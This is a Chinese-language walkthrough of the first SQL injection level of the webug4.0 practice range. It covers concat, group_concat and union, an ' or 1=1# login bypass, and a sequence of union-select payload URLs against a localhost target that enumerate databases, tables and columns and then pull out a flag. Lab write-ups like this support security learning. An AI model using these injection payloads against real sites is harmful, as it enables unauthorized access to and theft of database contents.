webug4.0顯錯注入-1


所用到一些知識:

1. concat(str1,str2,...)    返回結果為參數間無間隔符連接起來的字符串,如果其中有一個參數為NULL,返回結果為NULL

2. concat_ws(separator, str1, str2, ...)    含有分隔符地連接字符串,第一個參數為制定的分隔符

3. group_concat(str1,str2,...)   連接一個組的所有字符串,並以逗號分隔每一條數據

4.union 用於合並兩個或多個select語句的結果集,需要注意的是union內部的select須擁有相同數量的列,且列的數據類型也要相同。

5.邏輯順序 true and false or true    結果為true   這樣可以構造萬能密碼 

Select * from admin where username=’admin’ and password=’’or 1=1#’

6. 注釋掉后面內容時可用 --+ 或者 # 后者在瀏覽器中會進行url編碼為%23

7.注入的一般流程為:輸入點-->數據庫-->數據表-->數據列-->數據項 

 

好了進入正題,加單引號看看

http://localhost/control/sqlinject/manifest_error.php?id=1'

                    然后報錯了

 

 構造語句 ‘ or 1=1%23

http://localhost/control/sqlinject/manifest_error.php?id=1' or 1=1%23

 

然后頁面恢復正常,利用order by判斷字段個數

http://localhost/control/sqlinject/manifest_error.php?id=1' order by 1%23

 從1開始嘗試,發現到3時頁面報錯,因此判斷字段個數為2個,接下來查看數據庫的名字

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(schema_name) from information_schema.schemata%23

然后頁面顯示出來了數據庫

我們查看webug這個數據庫

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='webug' %23

發現有flag這個表(是的表面上是,等到第二關你會哭泣的),那就看看這個表里東西

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag' %23

發現表里就2個: id flag  查看一下flag內容

http://localhost/control/sqlinject/manifest_error.php?id=1' union select 1,flag from webug.flag %23

出來了:dfafdasfafdsadfa 

打開靶場提交flag,顯示flag正確

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM